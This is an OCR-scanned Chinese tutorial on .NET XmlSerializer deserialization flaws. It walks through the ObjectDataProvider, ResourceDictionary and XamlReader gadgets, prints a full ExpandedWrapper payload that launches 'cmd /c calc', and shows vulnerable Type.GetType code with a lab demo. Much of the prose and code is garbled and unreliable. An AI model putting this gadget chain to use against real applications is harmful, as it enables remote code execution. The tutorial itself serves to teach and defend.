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0X00 IS

7£.NET 1222089 XmlSerializer X2—MRIENTE , ERESESEH XML EUE
BRESS .NET X35, XmlSerializer Z£E2F@IS A APL ERSRHIT XML STHSF0XY
RZ BRI, FARRREGTRINIE NET EHBITiERIERRT  RERFRA
R Type A9ERST I ZRBNINREER | FHEA Deserialize RFFIL xml #iEH S
ik R FESULIRIRIGE (540 DotNetNuke {FEAEHIT MR CVE-2017-9822 ), &
NEENFIERAE IR AN T EXNE N EFS.

0X01 XmlSerializer 514k

NET f&28 System.Xml.Serialization @2 =SB TEY XmlSerializer ZEaTLE XML XX
HEBEE NET R , B—REE IRt REENSRNAHBEMI AT TR
XML TReEEM , HEREANAIERAR : Serialize() FBFMIISRSLHIAER, XML ;
Deserialize() FBT#& XML SAEDHTRNISRE |, WFFIHHIEHETLAREER. FR. ¥
28, LAK XmlElement #1 XmlAttribute 33g&LAIAER XML, BARETE demo
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[XmLRoot ]

TestClass{
classname;
name;
age;
[XmLAttribute]
Classname { classname; classname - value; }

[XmLELement]
Name { name; name - value; }
[XmLELement]
Age { age; age - value; }
Tostring()

.Tostring();

MainWindow : Window
Mainwindow()

InitializeComponent();
TestClass testClass Testclass();
testClass.Classname "test";
testClass.Name - "Ivanlee";
testClass.Age - 18;
FileStream fileStream = File.OpenWrite(@"d:\test2.txt");
(Textwriter writer StreamWriter(fileStream))
{
XmlSerializer serializers XmLSerializer( (Testclass));
serializers.Serialize(writer, testClass);

XmlElement iEEBUERFILITTE | XmlAttribute IEEBUERTULIIHFE |
XmIRoot FHHEEXEFINLAIRITE | BITFIERENEY. FMELRRIZTR.
BIREFIEE, BelE— TestClass KRRYSLHBEFRE B FFIN A |
XmlSerializer.Serialize /5 5B & LAES: Stream, TextWrite, XmIWrite £ , &2
ARAT XML XHFIH T TestClass T2, Classname #i4H A IE EFMEHTTEREM ¢

version="1.8" encoding="utf-8"2>
xmlns:xsi="http://www.w3.0rg/2001/XMLSchema-instance” xmlns:xsd="http://www.w3.0rg/2@01/XMLSchema” Classname="test">
>Ivanlee</ >

>18</Age>

0x02 XmlSerialize ﬁﬁﬁﬂﬂ:

RFEFFISRE : & xml MRS EEE SIE— NSRS B
XmISerlallzer.DeserlaI|ze F3iESEIAY Z‘ FIMCERAEIN—IALAE new
XmlSerializer ¥i&75/ 5B AMENSEL , XNSEKEE System.Type 3£ |, BITIXNEA
LURRIRTHEREGEREAER | IERHIAEESREN Type SIABLAT=MAR.
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2.1, typeof

SLAIME XmlSerializer fENRY typeof(TestClass) 54X TestClass 2:h9 Type ,
typeof B CH#HRIEERT , FMERISEREERRTNIBFR , MARERLAULRIXIS: , W
T Demo

InitializeComponent();
TestClass testClass;
( stream FileStream(@"d:\test2.xml”, FileMode.Open))

serializers XmlSerializer( (TestcClass));
testClass - serializers.Deserialize(stream) as TestClass;

}

MessageBox.Show(testClass.Name);

BT typeof 3REXE| Type ZERiBE5EIZEF BRI Methods, Members 8.,
TEiz1T Debug 7 , #HEEXHEEERXEIR R Name AYE.

FROETL]
MainWindow : Window
I
0 318
MainWindow()
T
|
InitializeComponent();
TestClass testClass;
( stream = Fi test2.xml", FileMode.Open))
{
serializers =

2.2, object.Type

£ NET EFfBRIERAERIRES System.Object , 7 Object KHPEN TIFESABMZ
PR R E , XY AT ATESEXIEH T |, GetType BiEHMEHFH
— , ZFEIREI M System. Type IRERIZRAI— LR, BRI LURMXI SR ATEZE
HES  BEEREE. HiA. BUSE  EAREGIFPLBIHE TestClass , BIRENHAIE
5189 Type , 20 Demo

o -8l F
MainWindow()
I
L
InitializeComponent();

stream = ileS ( test2.xml", FileMode.Open))

Ivanlee

serializers = Xn alizer(testClass.Get
Class = serializers.Deserialize(stream) Te

y%. Show(testClass.Name) ;
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2.3, Type.GetType

|

B=F7TER Type ZKHIERETTIA GetType , RNGARIFINUEANTFTFH | XEEKX
HiF , AFREAERERMILIERIZETGE. BES

[
MainWindow()

I
L

InitializeComponent();

Ivanlee

rializers = nl i 3 F .GetType("¥
tClass = serializers. rialize Te

Type.GetType EARISHERRFIWTERRREGRR | ZF T EMEEETIHAL
AR EFRRES.

0X03 FJiSINE+HE

B LR TIERINERI5EEE Demo |, iXE& Demo AILIS AEERIS ( XEAR
WH.NET Core, MVC), W1 T~E

type - "System.Data.Services.Internal.ExpandedWrapper” 2[[System.Windows.Markup.XamlReader, PresentationFramework, Version=4.0.0.8, Culture=neutral,
PublickeyToken=31bf3856ad364e35], [System.windows.Data.objectDataProvider, PresentationFramework, Version=4.8.0.8, Culture=neutral,
PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089";

xml - "<ExpandedWrapperOfXamlReaderObjectDataProvider><ExpandedElement
/><ProjectedProperty@><MethodName>Parse</MethodName><MethodParameters><anyType xmlns:xsi=\"http://www.w3.0rg/2001/XMLSchema-instance\"
xmlns:xsd=\"http://www.w3.0rg/2001/XMLSchema\" xsi:type=\"xsd:string\" >&lt;ResourceDictionary

\"http://, soft.com/winfx/2006/xaml/presentation\" xmlns http://schemas.microsoft.com/winfx/2006/xaml\"

clr-namespace assembly=mscorlib\" xmlns:Dia; namespace:System.Diagnostics;assembly=system\” &gt;&1t;0bjectDataProvider

\"Launchcmd\" ObjectTy] Type Diag:Process}\" MethodNal Start\"&gt;&1t;0bjectDataProvider.MethodParameters &gt;&1t;System:Stringgt;cmd&lt;
/system:StringRgt;&lt;System:String&gt;/c calc &1t;/System:Stringgt;&1t;/objectDataProvider.MethodParameters&gt;&1t;/objectDataProvider&gt;&1t;
/ResourceDictionary&gt;</anyType></MethodParameters><ObjectInstance xsi:type=\"XamlReader\"

xmlns:xsi=\"http://www.w3.0rg/2001/XMLSchema-instance\"></0bjectInstance></ProjectedProperty@></ExpandedWrapperofXamlReaderobjectDataProviders”;

xmlserializer mySerializer Xn ializer(Type.GetType(type));
(MemoryStream ms MemoryStream(Encoding.UTF8.GetBytes(xml)))
f (StreamReader sr StreamReader(ms, Encoding.UTF8))
{
mySerializer.Deserialize(sr);
}
}

RE XmlSerializer FERFYICREHMT A TE Demo FHINSE , IPKREI=1NFEER
AR, LT BIRNERE,

3.1. ObjectDataProvider

ObjectDataProvider 2 , BfifF System.Windows.Data s Z=SET , alLURRES
5| FEEPRTEE | 1RIHAR Objectinstance FIZUISCHIKEE. AR MethodName

5/12



EBIEESEINTITIEEFR. MR MethodParameters RNMEIBETTIZNSE &%
TE

ObjectDataProvider object1l ObjectDataProvider();
objecti.0bjectInstance >

objectl.MethodName - "ClassMethod™;
objectl.MethodParameters.Add("calc.exe");

B4 TestClass EEN— ClassMethod J5i% , (XA3CINEA
System.Diagnostics.Process.Start [FafFAOHFEEHITEES, WNERA XmlSerializer
BEERSHESE | BAERFIEEFES Objectinstance IXPMEEREEIRAD , &~
I EILAfER ExpandedWrapper § B R SRS INBAR XL E IR ER S
WEEIR , 5 Demo

ExpandedWrapper<TestClass, ObjectDataProvider> wrapper Expandedirapper<TestClass, ObjectDataProvider>();
wrapper.ProjectedPropertye objectDataProvider();

wrapper.ProjectedPropertye.objectInstance Testclass();

wrapper.ProjectedPropertye.MethodName - “ClassMethod™;
wrapper.ProjectedPropertye.MethodParameters.Add("calc.exe");

XmlSerializer serializerl XmlSerializer( (Expandediwrapper<TestClass, ObjectDataProviders));
TextiWriter textWriter2 Streamwriter(@”d:\data.xml");

serializeril.Serialize(textWriter2, wrapper);

textwriter2.cClose();

A pk dataxm|l BT :

version="1.0" encoding="utf-8"?>

xmlns:xsi="http://www.w3.0rg/2081/XMLSchema-instance” xmlns:xsd="http://www.w3.org/2001/XMLSchema™>
>
xsi:type="TestClass">»
>0</Age>
>

>ClassMethod</! >
>
xsi:type="xsd:string">calc.exe</

>

WELERE— B  (BEP R ERIREEZ TR THERY TestClass X1
wiE , (BEEFER TRIERESERM , FESK Web IEFHEEMRSSHIKER , AT
EREAARFHREEERRRFRIARGSHIT , FIUFEES INTERIFIR.

3.2, ResourceDictionary
ResourceDictionary , tBFR AR HIEFE HIE WPF 8¢ UWP R BEERFHAXRES

MEFEEHZEHSER, AR WPFRERF , WA EIRR ULIRITHES XAML,
XAML £7R Extensible Application Markup Language (514 RN BEFINCIES) &
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BSO
DER2

T XMLAY , B XAML 2LA—MURZEAERARIKR , 205X XML THEANE |, BIBETRIR
RYZIE |, I20%& TE Demo

< xmlns="http://schemas.microsoft.com/winfx/20e6/xaml/presentation” xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
xmlns:System="clr-namespace:System;assembly-mscorlib” xmlns:Runtime="clr-namespace:System.Diagnostics;assembly=system”>
< x:Key="RunCmdShell" ObjectType="{x:Type Runtime:Process}" MethodName="Start">
< >
@ >cmd</ £

< >/c calc </ >

</
</ >
B

® F—/M5Z ResourceDictionary , xmins:Runtime F<iZEX System.Diagnostics

A L TERIZFREE D BIE 9 Runtime

® " /Mr& ObjectDataProvider 187 ¥ =@M | xkey EFEMHEER , BXA
KEVTSEN ; ObjectType ARG IR EEQIZEHELAINIISRAIEE |, FHE
7T XAMLY & ; xType tf857F C#h typeof ZEFRFINEE , XBEERIER
System.Diagnostics.Process; MethodName FASRIKENEL IR EEERNS A2
R , 1&13BAYE/ System.Diagnostics.Process.Start J5i5FREEI—1NHE,

® FE=/MFZ ObjectDataProvider.MethodParameters Nk 7 BN ES RS |,
Bid System:String D BERE 7 Bo G FIE RTS8t Start 737465,

NBEW 4 ResourceDictionary 5 , INEEH] Payload FAELR5AK , # ME@id
XamlReader IXMRFEEFTHRMRY XML fRATEssIIGE.

3.3. XamlReader

XamlReader fi7F System.Windows.Markup ZS[E] R , 2B X2 FE3REE XAML
S, ERBIA XAML {EENSE |, (Bl Load EEY Stream ity XAML £3E , FHiR
[EEJIRRISSR , B IM—"" Parse TiXEBUEEFFFERFRI XAMLEA |, t2RIFRE]
{EJRXISR , B2 Parse JiARHA1XOFIS KA.
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Load(Stream) iSRS E Stream AREY XAML SiA , FHERTELHERITS RN Object.
Load(Stream, ParserContext) IEEVIEE Stream FRRT XAML Eii | FREEWERIEA TS FRETS.
Load(XamIReader) ETRRRAEY XamlReader B XAML 81, , THEEHESIERTSREITS.
Load(XmIReader) 1ZEUEE XmlReader FRAY XAML f8 0, , FREEWESIER IS RIEEITS.
LoadAsync(Stream) 1EEIEE Stream APRT XAML & i | FREEERITSHEIRE.
LoadAsync(Stream, ParserContext) 1EBUEE Stream HRRY XAML S |, FHEERBRITSIRIGIE.
LoadAsync(XmiReader) 1EEIEE XmlReader BhAY XAML S0 , FEEEHERITSHEE.
MemberwiseClone() B2 2AT Object AIEFAIE.

(Inherited from Object)

RRUSERAFASERE XAML A, | FRERSEEIRCEIEN RS,

Parse(String, ParserContext) ( EFRIEERT ParserContext ) iIZEGEEYEFRASEME XAMLIRD , FRERISISERCEEINTRENTS.

REE(#ER ObjectDataProvider g ObjectInstance /5345 XamIReader , BiEE
MethodName 5 Parse , #B%5 MethodParameters {&iEF5 L 2 R E R ELE]
1B, IXEERETLASER XmiSerializer RRFEFIMLIRESERTITIE,

0x04 RSB ITH A

MRIEFRIHIAERREZHREBRENSHRA |, BERIE/ VNIRRT F
FIWEERHE— D FREEM Type.GetType , FRFEMRIET Type EHIEESTTi%
GetType , FIZILAT demo

(!string.IsNullorEmpty(xmlSource))

{
xmlDoc XmLDocument { XmlResolver = null };
xmlDoc. LoadXml (xmlSource) ;
(xmlLELement xmlItem xmlDoc.SelectNodes(rootname + "/item"))

key - xmlItem.GetAttribute("key™);
typeName - xmlItem.GetAttribute("type");

XmlSerializer(Type.GetType(typeName) );l

XmlTextReader stringReader(xmlItem.InnerXml))

hashTable.Add(key, xser.Deserialize(reader));

(Exception)
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BSO
DER2

BE4ctlEE XmIDocument XFEREA xml , & typeName i@ Xpath $REE Item T5
A type BHEERIE , FHELRT Type.GetType , ZiEEIER Item TR AWAYRTA Xml
R | REBR4A Deserialize 5iEARFIML | XR—MNEFEMFAR. BREEE
£ github FUWEEZIRY XmiSerializer ;ZFEFIEEE : XmlSerializeUtil.cs

namespace CCN.DashboardCustom
{

public static class XmlSeriazlizeUtil

gregion ERERHE
f/f <summary >
f4f R

(74 < /summary

//{ <param name="type" >§§¥U<’sa’an>

/¢ <param name="xml">¥ML=TFER</param:

f/f <returns></returnss

public static object DeserdalizeXml(this string xml X\ Tyvpe type)
wsing (StringReader sr = new StringReader{xml})

¥mlSerializer xmldes = new XmlSerializer(type);

return xmldes.Deserizlize(sr);

tendresion
#endregio

HAMESEEEEA Type , KIBAS B , AAETFEFRFAETRESTEX—
FRIBTERIEZEBM type (& , 1BiD Type.GetType(string)ik[E] Type W5 HEiH
i DeserializeXml , A EITANIEHBFZEXFIAL type BIKIE.

0x05 EHISE

HoBBEY TARFRERENIRE | £ERTE VS BRlEEE R Fy KR H
iHEes.

1. A http://localhost:5651/Default?node=root&value=type & 7 IiZfEHY
(192.168.231.135) 1.xml 3%
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http://localhost:5651/Default?node=root&value=type

WebApplicationl

i~ 31R
ault

Page_Load( sender,

r xmlHelper L
content = xmlHelper.GetValue(node) ;

r stringReader =

LR r xmlReader eate (st

xmlSerializer.Deserialize(xmlReader);

3

SyS e, AN L. OE1 Latis

wWpfAppl;

webApplicati

Page_Load( sender,

IsNullOrEmpty/(F

string file = *
node + Request
t

value = Requ uer

/i
(content);
Create(stringReader);

xmlSeri ialize(xmlReade

mifesderObjectDatsProride

XK,
XmlSerializer 35 3L5RLIN

xmlSerializer =
| stringReader = new |

IR - xmlReader 1R L
xmlSerializer.Deserialize (xmlReader);

rialize

etType (xmlHelper.GetAttributeValue(node, value)));

~ B x ERER

plicationt . Default.Pag
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Baamn
IREVALE 4:55 A9 (RITT 4:55 AW

cortent

<Expandedwrapper0fXanlReaderObjectDataProvider><ExpandedElement
/><ProjectedProperty8><MethodName>Parse</MethodNane><MethodParameters><anyType
xmins:xs http://www.w3.0rg/2601/XMLSchema-instance*
xmlns: xsd="http: //www.w3.0rg/2001/XMLSchema” xsi:type="xsd:string">
&1t;ResourceDictionary

xmlns="http://schemas.microsoft.com/winfx/2006/xanl/presentation”
xmlns:x="http: //schemas .microsoft.com/winfx/2006/xanl" xmlns:System="clr-
namespace:System; assembly=mscorlib® xmlns:Diag="clr-
namespace:System.Diagnostics;assembly=system"sgt;

&1t;0bjectDataProvider x:Key="LaunchCmd" ObjectType="{x:Type
Diag:Process}" MethodName="Start"&gt;

&Lt;0bjectDataProvider. MethodParanetersigt ;
&1t;System:Stringsat;cmd&lt; /System: Stringsgt ;
&1t;System:String&qt;/c calc &lt;/System:Stringsqgt;

&1t; /ObjectDataProvider.MethodParameters&gt ;

&1t; /ObjectDataProviderégt ;
&1t;/ResourceDictionary&gt;
</anyType></MethodParameters><ObjectInstance xsi:type="XamlReader"
“http://www.w3.0rg/2001/XMLSchema-

xmlns:xs.

instance”></0ObjectInstance></ProjectedProperty8></ExpandedWrapper0fXam|Readerobjec tDataProvi

der>

Y REW

5% root TR type B1E , FHEMLS GetType 5%,

ype.GetType (
(content); EEE)

ingReader) ;

ApplicationL._Default.Page_Load(
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0x06 245

BT XmlSerializer 2ERFEFIANNRFFIZE |, FRAESLRA R EFERERERIVRSY
WEERINSHRATEEE , TN MEEESKFIBRR . 5—M Web N FBE
FrhSReEILAITar$EiE S WebShell B925F0753% ; 2R HATRAYRIFE
ObjectDataProvider, ResourceDictionary, XamlReader HpfIKEsEEHRITRS
A& R Shell |, &5 .NET RS EFIREEESRELE
https://github.com/Ivanlee/ . https://ivanlee.gitbook.io/ , [EEEHEHLIEY
BREN.NET RFFWLRIENE | KEIFEANINTE
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https://github.com/Ivan1ee/
https://ivan1ee.gitbook.io/

B NET R FFI B

#—i® XmlSerializer RREALE
Deserialize

TypeNameHandling Auto

TypeNameHandi
JsonSerializerSettings

TypeNameHandiing ALL

TypeNameHandling.Arrays

DeserializeObject

JSONInstance ToObject

new SimpleTypeResolver)
DeserializeObject

Type.GetType
ReadObject

3575 NetDataContractSerializer

#-Gif SoapFormatter SR ERACHS R Deseriiizo |

DeserializeMethodResponse

UnsafeDeserialize

UnsafeDeserializeMethodResponse

r SN ObjectStateFormatter [ HSHALIR R Descrilie |

+ARFFIRER

3:/\if BinaryFormatter

LA LKIFERRIE | 3Tift.
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